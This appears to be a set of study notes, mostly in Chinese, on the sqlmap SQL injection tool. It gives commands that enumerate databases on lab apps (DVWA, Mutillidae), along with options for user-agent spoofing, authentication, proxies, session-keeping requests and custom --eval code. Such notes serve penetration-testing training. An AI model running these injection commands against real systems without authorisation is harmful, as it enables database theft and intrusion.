sqlmap.py -u "http://192.168.0.119/mutillidae/index.php?page=login.php" --data="username=1&password=1&login-php-submit-button=Login" --dbs#-u后面跟URL#--data后面跟用户请求的数据
sqlmap -u "http://1.1.1.1/a.php" --data="q=foo;id=1" --param-del=";" -f

./sqlmap.py -u "http://192.168.0.119/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=4bef239e9c2df754baddf5dce105d666" --dbs


--user-agent #手动指定用户agent--random-agent #使用kali自带字典的形式随意挑选#kali自带字典:/usr/share/sqlmap/data/txt/user-agents.txt

sqlmap检查user-agent中的注入点:Level>=3
APP/IDS/IPS/WAF会过滤异常user-agent报错
–method=POST/GET
Basic基本身份认证
Digest
NTLM
–auth-type Basic
–auth-cert / --auth-file
含有私钥的PEM格式证书文件
PEM格式的证书链文件
–proxy=“http://127.0.0.1:8087”
–proxy-cred=“name:pass”
–ignore-proxy #忽略系统代理设置,通常用于扫描本地网络目标
sqlmap -l burp,log --scope="(www)?\.target\.(com|net|org)"//按照www.target.com|net|org筛选//或者按照数字筛选sqlmap -l 2.log --scope="(19)?\.168\.20\.(1|10|100)" --level 3 --dbs//可以扫描User-agent中的注入点
检测和盲注阶段会产生大量失败请求,服务器端可能因此销毁session
每发送–safe-freq次注入请求后,发送一次正常请求
每次请求前执行指定的python代码
每次请求更改或增加新的参数值(时间依赖,其他参数值依赖)
sqlmap -u "http:1.1.1.1/a.php?id=1&hash=c4ca4238a0b923820dcc590a6f58417b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"